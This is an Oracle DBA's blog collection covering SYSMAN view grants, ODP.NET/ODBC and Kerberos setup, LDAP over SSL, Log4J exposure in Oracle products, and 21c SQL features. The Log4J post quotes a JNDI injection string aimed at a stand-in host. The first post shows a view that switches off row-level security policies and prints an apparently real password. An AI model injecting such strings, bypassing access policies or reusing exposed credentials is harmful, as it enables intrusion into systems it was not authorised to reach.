Laurent Schneider
grant select on sysman view
Quite often you select from the sysman schema, let’s say
select target_name from sysman.mgmt$target;
To do so, you better be sys.. because SYS can see everything !
Let’s see what’s missing with a standard user
connect sys/***@oem01 as sysdba; create user user1 identified by ***; grant create session to user1; conn user1/***@oem01; select count(*) from sysman.mgmt$target; SQL Error: ORA-00942: table or view does not exist
connect sys/***@oem01 as sysdba; grant create session to user1; grant select on sysman.mgmt$target to user1; conn user1/***@oem01; select count(*) from sysman.mgmt$target; COUNT(*) ---------- 0
connect sys/***@oem01 as sysdba; drop user user1 cascade; create user user1 identified by ***; grant create session, exempt access policy to user1; conn user1/***@oem01; select count(*) from sysman.mgmt$target; COUNT(*) ---------- 72
connect sys/***@oem01 as sysdba; create or replace view sysman.v as select * from sysman.mgmt$target; grant create session to user1; grant select on sysman.v to user1; conn user1/***@oem01; select count(*) from sysman.v ; COUNT(*) ---------- 0
connect sys/***@oem01 as sysdba; create or replace function sysman.f return sysman.MGMT_TARGET_ARRAY is r MGMT_TARGET_ARRAY; begin select sysman.MGMT_TARGET_OBJ(TARGET_NAME,TARGET_TYPE) bulk collect into r from sysman.mgmt$target; return r; end; / create or replace view sysman.v as select * from table(f); grant select on sysman.v to user1; conn user1/yF_5lOoxNp_g03Z#NMFM@oems1d; select count(*) from sysman.v; COUNT(*) ---------- 0
create or replace function sysman.f return sysman.MGMT_TARGET_ARRAY is pragma autonomous_transaction; r MGMT_TARGET_ARRAY; begin sysman.setEMUserContext(null,null,disable_vpd_policies=>1); select sysman.MGMT_TARGET_OBJ(TARGET_NAME,TARGET_TYPE) bulk collect into r from sysman.mgmt$target; return r; end; / create or replace view sysman.v as select * from table(f); grant select on sysman.v to user1; conn user1/***@oem01; select count(*) from sysman.v; COUNT(*) ---------- 72
ODP standalone
Without Administrative privilege, how would you install ODP.NET?
Note 784309.1 describes the required files if you have no Oracle client
- download XCOPY ODAC from Oracle .NET, Visual Studio, and VS Code ODAC Downloads for Oracle Database
- Copy the files Oracle.DataAccess.dll OraOps.dll orannzsbb.dll oraociei.dll oci.dll to your directory (ex: C:\ODAC)
- Add that directory to your PATH
- Create your sqlnet.ora and tnsnames.ora or use ezconnect string host:1521/service.example.com
That’s it. It even works with kerberos
sqlnet.ora
sqlnet.kerberos5_conf=C:\ODAC\krb5.conf sqlnet.kerberos5_cc_name=OSMSFT:// sqlnet.authentication_services=kerberos5pre sqlnet.kerberos5_conf_mit=true NAMES.DIRECTORY_PATH = (TNSNAMES) NAMES.DEFAULT_DOMAIN = example.com
tnsnames.ora
DB01.example.com=(DESCRIPTION= (ADDRESS=(PROTOCOL=TCP)(HOST=srv1.example.com)(PORT=1521)) (CONNECT_DATA=(SERVICE_NAME=DB01.example.com)))
krb5.conf
[libdefaults] default_realm = EXAMPLE.COM [realms] EXAMPLE.COM = { kdc = dc1.example.com } [domain_realm] .example.com = EXAMPLE.COM example.com = EXAMPLE.COM
let’s try
cd C:\ODAC ${ENV:PATH}="C:\ODAC" ${ENV:TNS_ADMIN}="C:\ODAC" [Reflection.Assembly]::LoadFile('C:\ODAC\Oracle.DataAccess.dll') $conn = New-Object Oracle.DataAccess.Client.OracleConnection( 'User Id=/;Data Source=DB01') $conn.open(); $com=$conn.CreateCommand(); $com.CommandText='select * from dual'; $com.ExecuteScalar(); $conn.close(); $conn.dispose()
X
PS: kerberos5pre is deprecated but kerberos5 doesn’t work with credential guard, there are a few unpublished bugs (33825536 and others)
connect to mssql with python/linux
done for a friend :
- install rpm’s
sudo yum install -y freetds unixODBC unixODBC-devel freetds-libs python3-pyodbc
- create odbc.ini and odbcinst.ini
- for sybase go there Unix ODBC Sybase
- for oracle go there Unix ODBC Oracle
- for mssql
- ~/.odbc.ini : the Database definition
[DB01] Driver = FreeTDS Description = DB01 Server = src01 Port = 1433 Database = DB01
- ~/.odbcinst.ini : the driver definition
[FreeTDS] Description = Free Sybase & MS SQL Driver Driver64 = /usr/lib64/libtdsodbc.so.0 Setup64 = /usr/lib64/libtdsS.so.2 Port = 1433
- ~/.odbc.ini : the Database definition
- test with isql
isql -v DB01 myuser mypw
- test with python3
import pyodbc conn = pyodbc.connect('DSN=DB01;UID=myuser;PWD=mypw') cursor = conn.cursor() cursor.execute('select \'hello world\'') print (cursor.fetchone()[0])
hello world
HTH
generate Excel from scott.emp
# 1) get a dataset from Oracle $oracle_home = ( gci -recurse HKLM:\SOFTWARE\Oracle | Where-Object -Property Property -eq ORACLE_HOME | Where-Object -Property PSChildName -Match KEY | get-itemproperty -name ORACLE_HOME ).oracle_home; '[INFO] '+$oracle_home; Add-Type -Path ($oracle_home+'\ODP.NET\bin\4\Oracle.DataAccess.dll'); $conn = New-Object Oracle.DataAccess.Client.OracleConnection('User Id=/;Password=;Data Source=DB01'); $conn.open(); $dataset = New-Object Data.dataset (New-Object Oracle.DataAccess.Client.OracleDataAdapter("select * from emp",$conn)).fill($dataset) $conn.close(); $conn.dispose(); # 2) get a ComObject from Excel $excel = New-Object -ComObject excel.application $excel.visible = $False $wb = $excel.Workbooks.Add() $ws= $wb.Worksheets.Item(1) $ws.Name = "Data Set" $row=1 $col=1 foreach ($colname in $dataset.Tables[0].Columns.ColumnName){ $ws.Cells.Item($row,$col).Font.Bold=$True $ws.Cells.Item($row,$col) = $colname $col++ } foreach ($datarow in $dataset.Tables[0].rows) { $row++ $col=1 foreach ($item in $datarow.itemarray){ $ws.Cells.Item($row,$col) = $item $col++ } } $excel.DisplayAlerts = 'False' $wb.SaveAs("C:\TEMP\ora.xlsx") $wb.Close() $excel.Quit()EMPNO ENAME JOB DEPTNO 7788 SCOTT ANALYST 20 7839 KING PRESIDENT 10
ODBC/OLEDB/ODP and Kerberos
Precondition : sqlplus can connect to the database server using a kerberos ticket.
I wrote The long long route to Kerberos – Laurent Schneider in 2014, but most of the bugs in 11.2.0.2 / 12.1.0.2 are no longer interesting, so probably you should be fine to just read Configuring Kerberos Authentication (oracle.com)
let’s see
sqlplus /@db01 SQL*Plus: Release 21.0.0.0.0 - Production on Fri May 20 13:33:00 2022 Version 21.3.0.0.0 Copyright (c) 1982, 2021, Oracle. All rights reserved. Last Successful login time: Fri May 20 2022 12:50:44 +02:00 Connected to: Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production Version 19.15.0.0.0 SQL>
Okay, to use ODBC, you just omit username and password. Either in Excel or in Powershell.
$ORACLE_HOME_NAME = (Get-ItemPropertyValue HKLM:\SOFTWARE\Oracle\KEY_* -name ORACLE_HOME_NAME) Add-OdbcDsn -name "DB01" -DriverName ("Oracle in "+$ORACLE_HOME_NAME) -SetPropertyValue @("Server=DB01") -dsntype user $conn = New-Object Data.Odbc.OdbcConnection $conn.ConnectionString= "dsn=DB01" $conn.open() (new-Object Data.Odbc.OdbcCommand("select sys_context('userenv','AUTHENTICATED_IDENTITY') from dual",$conn)).ExecuteScalar() $conn.close() Remove-OdbcDsn -name "DB01" -DsnType user
Just don’t specify User Id and Password
To use ODP.NET, it is almost the same, but there is a dirty trick
$ORACLE_HOME = (Get-ItemPropertyValue HKLM:\SOFTWARE\Oracle\KEY_* -name ORACLE_HOME) Add-Type -Path $ORACLE_HOME\ODP.NET\bin\4\Oracle.DataAccess.dll $conn = New-Object Oracle.DataAccess.Client.OracleConnection("User Id=/;Password=;Data Source=DB01") $conn.open() $com=$conn.CreateCommand() $com.CommandText="select sys_context('userenv','AUTHENTICATED_IDENTITY') from dual" $com.ExecuteScalar() $conn.close()
Here, userid is not empty, but slash. What a joke ! One tool use “” and the other “/”
Ancient Oracle versions use 2.x instead of 4.
What’s more, if you use the Managed Driver, you’ll need the latest 21.6.1 version to allow Kerberos (not tested) New Oracle Features for .NET by Release
The same SLASH Convention also applies to OLEDB. You can either create an empty test.udl file on your desktop to test or use the following code
$conn = New-Object System.Data.OleDb.OleDbConnection ("Provider=OraOLEDB.Oracle;Data Source=DB01;User ID=/;Password=;") $conn.Open() $cmd=$conn.CreateCommand() $cmd.CommandText= "select sys_context('userenv','AUTHENTICATED_IDENTITY') from dual" $cmd.ExecuteScalar() $conn.close()
This concludes my ODBC/ODP/OLEDB topic
Log4J and OEM Part II
After part 1, where Oracle wrote in an official document there is no impact for your targets, Critical Patch Advisory April 2022 reveals multiple vulnerabilities, one of them is Log4J severity 9.8/10.
9.8 means it is kindergarden easy to compromise confidentiality, integrity and availability even without a login.
In the meanwhile, per 30. April, Oracle released 13.5 ru-6.
Don’t be fool, it is unsafe to assume the EM-Ru contains the EM-Cpu.
Yes, you have to apply the RU-5 or RU-6 to your OEM. Your repository database version must be certified too.
But also, even if you don’t use WLS, Coherence, FMW, FMW 3rd party, ADR, OWMS, OHS, OSS, OPSS, ADF, WebCenter, JDBC, OVD, JDK, SQL Developer, you have to patch each of those components in your OMS home with one or more separate patches.
Just to summarize, omspatcher applies 15 patches automatically, and later have to manually apply a dozen of one-off patches. Oracle Support told me:
As much as possible, Oracle tries to make Critical Patch Updates cumulative … Fixes for the other products that do not receive cumulative fixes are released as one-off patches.
Okay, once you are done, you can apply the RU-6 to your agents.
Here again, there are additional one-offs. For the central agent, patch the WLS. For all agents, apply the one-off for CVE-2022-21392.
I didn’t know this before researching for log4j issues. I won’t provide you the step here, because they may change over time. Just read the latest CPU very carefully.
Critical Patch Updates, Security Alerts and Bulletins (oracle.com)
Restore controlfile without catalog
The easiest is :
restore controlfile from autobackup
Also possible :
restore controlfile from "/bckdir/c-123-45"
If you use tape
run { allocate channel c1 type 'SBT_TAPE' PARMS 'ENV=(TDPO_OPTFILE=...)'; restore controlfile from "c-3635577900-20220330-02"; }
Log4J and Oracle Enterprise Manager
Log4j issues allow a remote client to execute code without authentication.
Software vendors spent the last two months thinking of the impact and the mitigations.
The bad:
If you have Enterprise Manager, you have multiple web services, like em itself (https://oms.example.com:7799/em), the weblogic console (https://oms.example.com:7102/console), the agent (https://dbsrv01.example.com:3872/emd/main/) and others. This makes you an easy victim.
The good:
If you care about security, you have restricted access to your management server to the outside world. The more network firewalls between Mr Bad and OEM, the better.
What is impacted?
DISCLAIMER: the stated here may no longer be accurate when read
Log4J version 2.0 to 2.16
Other Log4J (version 1.x and 2.17) when used with JMSAppender.
What is fixed?
There is a patch for WLS that upgrade 2.11 to 2.17
MWHOME/oms/oracle_common/modules/thirdparty/log4j-2.11.1.jar
AGENTHOME/oracle_common/modules/thirdparty/log4j-2.11.1.jar
After applying 33727616, the version (but not the filename) is 2.17.0
$ unzip -p log4j-2.11.1.jar META-INF/MANIFEST.MF Manifest-Version: 1.0 Bundle-Description: The Apache Log4j Implementation Implementation-Title: Apache Log4j Bundle-SymbolicName: org.apache.logging.log4j Implementation-Version: 2.17.0 Archiver-Version: Plexus Archiver Specification-Vendor: The Apache Software Foundation Specification-Title: Apache Log4j Bundle-Vendor: The Apache Software Foundation Implementation-Vendor: The Apache Software Foundation Bundle-Version: 2.17.0 Created-By: Apache Maven 3.6.3 Build-Jdk: 1.8.0_291
This has to be done on the MWHOME and on the agent of OMS only (the central management agent).
For the regular agents installed on the database servers, the version is 1.2.17 and JMSAppender is present
$ unzip -p log4j-core.jar META-INF/MANIFEST.MF| tail -6 Name: org.apache.log4j Implementation-Vendor: "Apache Software Foundation" DynamicImport-Package: * Implementation-Title: log4j Implementation-Version: 1.2.17 $ unzip -l log4j-core.jar org/apache/log4j/net/JMSAppender.class Archive: log4j-core.jar Name ---- org/apache/log4j/net/JMSAppender.class 1 file
Log4J and Oracle Database
CVE-2021-44228 issue allows an user without authentication to execute code. It is tremendously easy to exploit, it is more a working-as-designed feature than a hard-core memory glitch.
Log4j is a logging library for java. If you enter some unexpected string, your web server may log it to a logfile.
- What’s your name?
- John
- What’s your age?
- 1000
- Come on, that’s not possible
2021-01-05 John says he's 1000
So far so good. But one log4j developer probably found useful to add variable expansion and the like
- What’s your name?
- John
- What’s your age?
- ${JNDI:ldaps://example.com/rm-rf-*}
- Come on, that’s not possible
2021-01-05 John says he's 1m files removed
Server attacked. This is of course best if multiple flaws exist, there is no firewalls and the web server logs everything with log4j.
Anyway, it isn’t a good feeling to be at risk.
It requires some carefull reading to check if Oracle Database is affected.
One may have check Oracle Support doc 2828877.1:
Oracle Database (all supported versions including 11.2, 12.1, 12.2, 19c, and 21c) are not affected by vulnerability CVE-2021-44228 or CVE-2021-45046.
But the innocent reader may stop here.
Let’s check some software, for instance RDBMS 19.6
$ find . -name "log4j-core*.jar" ./suptools/tfa/release/tfa_home/jlib/log4j-core-2.9.1.jar ./md/property_graph/lib/log4j-core-2.11.0.jar
What??? Is this not log4j around?
Other notes will tell CVE-2021-45105, CVE-2021-44228 and CVE-2021-45046 are addressed in AHF Version 21.4
$ suptools/tfa/release/tfa_home/bin/tfactl version /oracle/suptools/tfa/release/tfa_home/bin TFA Version : 183300 TFA Build ID : 20190315044534
So there I am at risk.
- WARNING: removing TFA prevents autopatch from patching
Two solutions : update TFA, if you need it or remove it with
tfactl uninstall
(rm will also do)
What does Oracle says about md ?
Vulnerabilities CVE-2021-44228, CVE-2021-45046, CVE-2021-45104, and CVE-2021-45105 concern Spatial in versions 12.2, 18.x, and 21.x.
If you use Spatial, then patch it. Otherwise, Oracle recommends to remove the whole md/property_graph directory (doc 2652121.1)
WARNING: this may impact cluster verify !
rm -r md/property_graph
12.1 (also client) has a few log4j-core jars, but version 1.x, which is older and less critical. But due to the log4j hystery, you may want to remove some of those, like $ORACLE_HOME/oui/jlib/jlib/log4j-core.
$ unzip -p -l oui/jlib/jlib/log4j-core.jar META-INF/MANIFEST.MF|grep Implementation-Version Implementation-Version: 1.1.1
Minimizing the impact of log4j is one thing, but pretending we’re unaffected isn’t really helpful.
TNS resolution with LDAP and SSL
Long time ago, ldapsearch without password and without ssl was the way to go. But clear-text authentication (so called simple-bind) is a security leak. More and more, directory server vendors and administrators are closing the default non-ssl port and enforce authentication.
And if you use ldap for TNS naming, things will break.
Back in 2003, Microsoft Active Directory deactivated anonymous bind. So using AD was no longer an option… well, with Oracle 11g client for Microsoft Windows, one was able to set the new sqlnet.ora parameter NAMES.LDAP_AUTHENTICATE_BIND=1. But only for Windows. And of course only if you have a kerberos ticket, but this is always the case if you are in an AD domain.
Later in 2019, Microsoft published advisory ADV190023 to disable non-ssl bind. This breaked again TNS resolution over LDAP. I filed ER 19529903 but cannot tell when it’s going to be fixed.
If you use another directory service, e.g. openldap, then it is the same game. Your directory server admin doesn’t like non-encrypted network traffic.
How to deal with this?
First, patience (if you are reading this article, you probably googled for a long time). It is never working at first try.
Then, let’s do it.
The first thing to ask to your admin is how to connect with openldap.
/usr/bin/ldapsearch -H ldaps://ldap.example.com:636 -b "dc=example,dc=com" cn=db01 -D "" -LLL
dn: cn=db01,cn=OracleContext,dc=example,dc=com objectclass: top objectclass: orclservice objectclass: orcldbserver objectclass: orclnetservice objectclass: orcldbserver_92 objectclass: orclapplicationentity orclnetdescstring: (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=srv01.example.com)(PORT=1521))(CONNECT_DATA=(SERVICE_NAME=db01.example.com))) orclservicetype: db cn: db01
This is the first step. It must work.
In openldap, you have your rootca certificates defined either in /etc/openldap or in your .ldaprc
cat ~/.ldaprc
TLS_CACERTDIR /etc/pki/tls/certs
Ok, now let’s try to get the Oracle ldapsearch work.
First let’s create a wallet
orapki wallet add -wallet . -pwd *** -cert allca.pem -trusted_cert
orapki wallet display -wallet .
Trusted Certificates: Subject: CN=Root CA,O=My Unit,C=CH
ldapbind -h ldap.example.com -p 636 -D "" -W
file://home/oracle/walletdir -U 3 -P ""
bind successful
Bind successful. What an amazing moment in your dba life!
Now we have a wallet, let’s configure sqlnet.ora
NAMES.DEFAULT_DOMAIN=example.com
NAMES.DIRECTORY_PATH=(ldap)
#TNSPING.TRACE_LEVEL=support
#TNSPING.TRACE_DIRECTORY=/tmp
WALLET_LOCATION=(SOURCE=(METHOD=FILE)(METHOD_DATA=(DIRECTORY=/home/oracle/walletdir)))
NAMES.LDAP_AUTHENTICATE_BIND=1
and ldap.ora, notice the ::
DIRECTORY_SERVERS = (ldap.example.com::636)
DEFAULT_ADMIN_CONTEXT = "dc=example,dc=com"
DIRECTORY_SERVER_TYPE = OID
This works like a charm
tnsping db01
Used LDAP adapter to resolve the alias Attempting to contact (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=srv01.example.com)(PORT=1521))(CONNECT_DATA=(SERVICE_NAME=db01.example.com))) OK (0 msec)
Pretty JSON in 21c
Oracle 21c now enables JSON as a datatype
12.2, 18c, 19c:
SQL> SELECT json_object(*)
from scott.emp
where ename='SCOTT';
JSON_OBJECT(*)
--------------
{"EMPNO":7788,"ENAME":"SCOTT","JOB":"ANALYST","MGR":7566,"HIREDATE":"1987-04-19T00:00:00","SAL":3000,"COMM":null,"DEPTNO":20}
21c:
SQL> SELECT json_object(* returning json)
from scott.emp
where ename='SCOTT';
JSON_OBJECT(*RETURNINGJSON)
---------------------------
{"EMPNO":7788,"ENAME":"SCOTT","JOB":"ANALYST","MGR":7566,"HIREDATE":"1987-04-19T00:00:00","SAL":3000,"COMM":null,"DEPTNO":20}
Ok, it looks similar, but it’s a no longer a string (varchar2 or clob), it is a json object.
SQL> create table t(j json);
SQL> insert into t values('{"x":1}');
SQL> select t.j.x from t t;
X ---------- 1
SQL> desc t
Name Null? Type ----------------- -------- ------------ J JSON
What’s more, sqlplus can prettyprint the json
SQL> set jsonprint xxx
SP2-0158: unknown SET option "xxx"
Usage: SET JSONPRINT {NORMAL | PRETTY | ASCII}
SQL> set jsonpr pret
SQL> sho jsonpr
jsonprint PRETTY
SQL> SELECT json_object(* returning json) from scott.emp where ename='SCOTT';
JSON_OBJECT(*RETURNINGJSON) -------------------------------------------------- { "EMPNO" : 7788, "ENAME" : "SCOTT", "JOB" : "ANALYST", "MGR" : 7566, "HIREDATE" : "1987-04-19T00:00:00", "SAL" : 3000, "COMM" : null, "DEPTNO" : 20 }
checksum of a column
Something I always wanted arrived this week, a checksum of a column !
SQL> create table t1(x number);
Table created.
SQL> create table t2(x number);
Table created.
SQL> insert into t1(x) values (1);
1 row created.
SQL> insert into t2(x) values (1);
1 row created.
SQL> select
(select checksum(x) from t1)t1,
(select checksum(x) from t2)t2
from dual;
T1 T2 ---------- ---------- 863352 863352
SQL> insert into t1(x) values (2);
1 row created.
SQL> select
(select checksum(x) from t1)t1,
(select checksum(x) from t2)t2
from dual;
T1 T2 ---------- ---------- 778195 863352
it is much more convenient than minus / intersect / not in and others to find out if two columns have identical values.
Oracle Database 21c which has just been released on Linux have a few more SQL improvement, like MINUS ALL that deals with duplicates and BIT_AND_AGG (OR, XOR) to aggregate bits.
SQL> select
2 EMPNO,
3 replace(
4 replace(
5 replace(
6 replace(
7 replace(
8 replace(
9 replace(
10 replace(
11 replace(
12 replace(
13 replace(
14 replace(
15 replace(
16 replace(
17 replace(
18 replace(to_char(empno, 'FMXXXX'),
19 '0', '0000'),
20 '1', '0001'),
21 '2', '0010'),
22 '3', '0011'),
23 '4', '0100'),
24 '5', '0101'),
25 '6', '0110'),
26 '7', '0111'),
27 '8', '1000'),
28 '9', '1001'),
29 'A', '1010'),
30 'B', '1011'),
31 'C', '1100'),
32 'D', '1101'),
33 'E', '1110'),
34 'F', '1111') BIN
35 from scott.emp
36 /
EMPNO BIN ---------- ---------------- 7369 0001110011001001 7499 0001110101001011 7521 0001110101100001 7566 0001110110001110 7654 0001110111100110 7698 0001111000010010 7782 0001111001100110 7788 0001111001101100 7839 0001111010011111 7844 0001111010100100 7876 0001111011000100 7900 0001111011011100 7902 0001111011011110 7934 0001111011111110 14 rows selected.
SQL> select
2 bit_and_agg(empno) EMPNO,
3 replace(
4 replace(
5 replace(
6 replace(
7 replace(
8 replace(
9 replace(
10 replace(
11 replace(
12 replace(
13 replace(
14 replace(
15 replace(
16 replace(
17 replace(
18 replace(to_char(bit_and_agg(empno), 'FMXXXX'),
19 '0', '0000'),
20 '1', '0001'),
21 '2', '0010'),
22 '3', '0011'),
23 '4', '0100'),
24 '5', '0101'),
25 '6', '0110'),
26 '7', '0111'),
27 '8', '1000'),
28 '9', '1001'),
29 'A', '1010'),
30 'B', '1011'),
31 'C', '1100'),
32 'D', '1101'),
33 'E', '1110'),
34 'F', '1111') BIN
35 from scott.emp
36 /
EMPNO BIN ---------- ---------------- 7168 0001110000000000
SQL> select
2 bit_or_agg(empno) EMPNO,
3 replace(
4 replace(
5 replace(
6 replace(
7 replace(
8 replace(
9 replace(
10 replace(
11 replace(
12 replace(
13 replace(
14 replace(
15 replace(
16 replace(
17 replace(
18 replace(to_char(bit_or_agg(empno), 'FMXXXX'),
19 '0', '0000'),
20 '1', '0001'),
21 '2', '0010'),
22 '3', '0011'),
23 '4', '0100'),
24 '5', '0101'),
25 '6', '0110'),
26 '7', '0111'),
27 '8', '1000'),
28 '9', '1001'),
29 'A', '1010'),
30 'B', '1011'),
31 'C', '1100'),
32 'D', '1101'),
33 'E', '1110'),
34 'F', '1111') BIN
35 from scott.emp
36 /
EMPNO BIN ---------- ---------------- 8191 0001111111111111
It obviously works
Database link and user defined datatypes
To use an object table or an object column over a database link, a type with the same OID as remote type must exist locally.
SQL> conn user1/***@remotedb01
Connected.
SQL> create type tt as object (x number)
2 /
Type created.
SQL> create table t (x tt);
Table created.
SQL> insert into t values (tt(1));
1 row created.
SQL> commit;
Commit complete.
SQL> select t.x.x from t t;
X.X
---------------
1
SQL> conn user1/***@localdb01
Connected.
SQL> select t.x.x from t@remotedb01 t;
select t.x.x from t@remotedb01 t
*
ERROR at line 1:
ORA-22804: remote operations not permitted on object tables or user-defined type columns
$ oerr ora 22804
22804, 00000, "remote operations not permitted on object tables or user-defined type columns"
*Cause: An attempt was made to perform queries or DML
operations on remote object tables or on remote
table columns whose type is one of object, REF,
nested table or VARRAY.
But, there is a solution — otherwise I wouldn’t write this post today
SQL> select type_name,TYPE_OID from user_types@remotedb01 t;
TYPE_NAME TYPE_OID
--------- --------------------------------
TT C6760780CC0BFA67E0539A24840A3B40
SQL> create type tt
2 oid 'C6760780CC0BFA67E0539A24840A3B40'
3 as object(x number)
4 /
Type created.
SQL> select t.x.x from t@remotedb01 t;
X.X
---------------
1
It’s that simple, we create the type locally, with the same OID
grep color
When you move away from commercial UNIX to Linux, some goodies are just fun, even if they are simple and old.
Let’s look at grep. By default, the matched pattern is red. But the color could be changed. Some magic regexp could be used to get more than one color
$ tnsping DB01 |
egrep '^TNS-[0-9]*'
TNS-03505: Failed to resolve name
The color could be changed to green
$ tnsping DB02 |
GREP_COLORS="ms=1;32" egrep OK
OK (10 msec)
Now I want to get both, RED and GREEN, so I need to grep for “OK” and “TNS” and apply a different color. Pattern ‘OK|^’ returns always true but only OK will be highlighted
$ tnsping DB01 |
egrep 'OK|TNS-'|
GREP_COLORS="ms=1;32" egrep --color=always 'OK|^'|
egrep 'TNS-[0-9]+|^'
TNS-03505: Failed to resolve name
$ tnsping DB02 |
egrep 'OK|TNS-'|
GREP_COLORS="ms=1;32" egrep --color=always 'OK|^'|
egrep 'TNS-[0-9]+|^'
OK (10 msec)
Download Oracle software with the command line
When downloading software to my database server, I used to first download locally and later copy to my Unix box… but wouldn’t be convenient to download it directly on the database server?
Quite often, you get no X and no Browser and no Internet access on your datacenter. Therefore, we’ll use wget to the purpose. CURL is a similar tool that does the trick as well. WGET also exists for Windows by the way.
First, you need WGET
sudo yum install wget
Then, you need Internet
Ask your network colleagues for a proxy and request access to the following domains
- edelivery.oracle.com
- aru-akam.oracle.com
- ccr.oracle.com
- login.oracle.com
- support.oracle.com
- updates.oracle.com
- oauth-e.oracle.com
- download.oracle.com
- edelivery.oracle.com
- epd-akam-intl.oracle.com
Some of those are documented on Registering the Proxy Details for My Oracle Support but I extended the list for software download (e.g. SQL Developer)
Now, configure your .wgetrc
https_proxy = proxy.example.com:8080
proxy_user = oracle
proxy_passwd = ***
http_user = laurent.schneider@example.com
http_password = ***
The https proxy is your network proxy to access oracle.com from your database server. The proxy user and password may be required on your company proxy. The http user and password are your oracle.com (otn/metalink) credentials.
Later, to figure out the URL, either use the WGET script Oracle sometimes provides
or try to copy the link in your browser, e.g.
https://download.oracle.com/otn/java/sqldeveloper/sqldeveloper-20.2.0.175.1842-20.2.0-175.1842.noarch.rpm
At this point, it probably won’t work
$ wget --no-check-certificate "https://download.oracle.com/otn/java/sqldeveloper/sqldeveloper-20.2.0.175.1842-20.2.0-175.1842.noarch.rpm"
strings
$ htmltree sqldeveloper-20.2.0.175.1842-20.2.0-175.1842.noarch.rpm
==============================================================================
Parsing sqldeveloper-20.2.0.175.1842-20.2.0-175.1842.noarch.rpm...
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<html> @0
<head> @0.0
<script language="javascript" type="text/javascript"> @0.0.0
"\x0afunction submitForm()\x0a{\x0avar hash = location.hash;\x0aif (hash) {\x0aif..."
<base target="_self" /> @0.0.1
<body onload="submitForm()"> @0.1
<noscript> @0.1.0
<p> @0.1.0.0
"JavaScript is required. Enable JavaScript to use OAM Server."
<form action="https://login.oracle.com/mysso/signon.jsp" method="post" name="myForm"> @0.1.1
We haven’t login.
Let’s get the login cookie
wget --no-check-certificate --save-cookies=mycookie.txt --keep-session-cookies https://edelivery.oracle.com/osdc/cliauth
Your mycookie.txt file should now contains login.oracle.com credentials.
Depending on the piece of software, e.g. sql developer, the authparam must be passed in. The authparam can be seen once you start the download, e.g. in your Downloads list (CTRL-J). When you use the wget script, when available, it probably provides a token= instead of an authparam=. The authparam typically validates you agreed to the license and possibly expires after 30 minutes. But maybe you can read the cookie and figure out how to pass in how to accept the license without Authparam. I haven’t gone that far yet.
wget --load-cookies=mycookie.txt --no-check-certificate "https://download.oracle.com/otn/java/sqldeveloper/sqldeveloper-20.2.0.175.1842-20.2.0-175.1842.noarch.rpm?AuthParam=1111111111_ffffffffffffffffffffffffffffffff"
A long post for a short mission, downloading a file…
I remind you that using no-check-certificate and clear text passwords in .wgetrc isn’t a good security practice
Unannouncement: Oracle 20c release date
Just reading the Doc 742060.1, the release 20c, which was due 2020, disappeared from the roadmap. Don’t wait anymore for 20c, there won’t be one. There was a preview release in the cloud, but Oracle failed to release one new release every year. While we are all used to wait 2-6 years for a new major, switching to yearly versions (18 and 19 were just patchset) is a promise Oracle couldn’t hold.
My two cents : desupporting non-cdb in (invisible) 20c is an headache for many customers…
SCP + sudo
Sometimes you like to copy files from A to B and you have sudo rights on A and B and you do a lot of “cp” to /tmp and chmod and chown’s. This is annoying…
Firstly, I dislike tempfiles.
- they use space
- they generate bugs when run in parallel
- they often are prone to code injection
- they remain on disk for years
Secondly, unix guys like pipes. While would one do
p <a >b
q <b >c
when you can
p <a |q >c
?
Lastly, I like to type less. So I wrote a small shell script that copies and uses sudo
combine #scp with #sudo?
ssh srv1 "cd /foo;sudo tar cf – bar"|ssh srv2 "cd /foo;sudo tar xf -"
— laurentsch (@laurentsch) December 7, 2020
at the end, I can
scp++ srv1:/dir/file srv2:/dir
using sudo
see comments for the script
ipcalc in powershell
Last day I wrote how to do it in AIX or Linux ip calc with ifconfig
It isn’t that different in PowerShell, the fun is to the calculation yourself. For translating 0.0.0.0 in 0, we can use [IPADDRESS].
Let’s try…
$ip = [IPADDRESS](
(Get-NetIPAddress -AddressFamily "IPv4" -InterfaceAlias "Ethernet*").
ipaddress)
$prefix = (
Get-NetIPAddress -AddressFamily "IPv4" -InterfaceAlias "Ethernet*").
prefixlength
The length and the ip of the current interface. In my case I have only one
PS> $ip
Address : 1677830336
AddressFamily : InterNetwork
IPAddressToString : 192.168.1.100
PS> $prefix
24
with a prefix length of 24, we need a netmask of 24 bits
11111111.11111111.11111111.00000000
which is
11111111.11111111.11111111.11111111 --> 2^32-1
-
11111111 --> 2^(32-24)-1
to do the math
$netmask=[IPADDRESS]([Math]::Pow(2,32)-[Math]::Pow(2,32-$prefix))
IPAddressToString : 255.255.255.0
let’s bitand
$netid = [IPADDRESS]($ip.Address -band $netmask.address)
IPAddressToString : 192.168.1.0
sqlplus: error while loading shared libraries: libsqlplus.so: wrong ELF class: ELFCLASS64
This error usually while you do something wrong. Wait, what’s an error when you do everything right?
Okay, here it is:
You install the instantclient 32 rpm
oracle-instantclient12.1-sqlplus-12.1.0.2.0-1.x86_64
On that server, you switch home using oraenv
$ . oraenv ORACLE_SID = [oracle] ? DB01 The Oracle base has been set to /u01/app/oracle
You start sqlplus
$ sqlplus -v sqlplus: error while loading shared libraries: libsqlplus.so: wrong ELF class: ELFCLASS64
Oops!? what happened?
This dubious made-by-Oracle RPM package simply created a sqlplus link in BIN.
lrwxrwxrwx. /bin/sqlplus -> /usr/lib/oracle/12.1/client/bin/sqlplus
Then, oraenv did put ORACLE_HOME at the end position
$ echo $PATH /usr/local/bin:/usr/bin:/u01/app/oracle/product/db19c/db01/bin
Just change the PATH manually and you’ll be fine.
$ PATH=$ORACLE_HOME/bin:/usr/local/bin:/usr/bin $ sqlplus -v SQL*Plus: Release 19.0.0.0.0 - Production Version 19.4.0.0.0
network ip calculation with ifconfig
Most *nix are different. I’ll start with a plain Linux output
ifconfig eth0 eth0: flags=4163 mtu 1500 inet 93.184.216.34 netmask 255.255.255.0 broadcast 93.184.216.255
to get the network ip, I just bitwise-and the inet and the netmask. To do it with the shell, I convert the ip to an integer and use the & (AND) operator
IP=$(ifconfig eth0|grep inet|awk '{print $2}') NM=$(ifconfig eth0|grep inet|awk '{print $4}')
I get my IP=93.184.216.34 and NM=255.255.255.0 out of the ifconfig output
IPDEC=0;IFS=. ;for f in $IP;do ((IPDEC*=256));((IPDEC+=$f));done NMDEC=0;IFS=. ;for f in $NM;do ((NMDEC*=256));((NMDEC+=$f));done
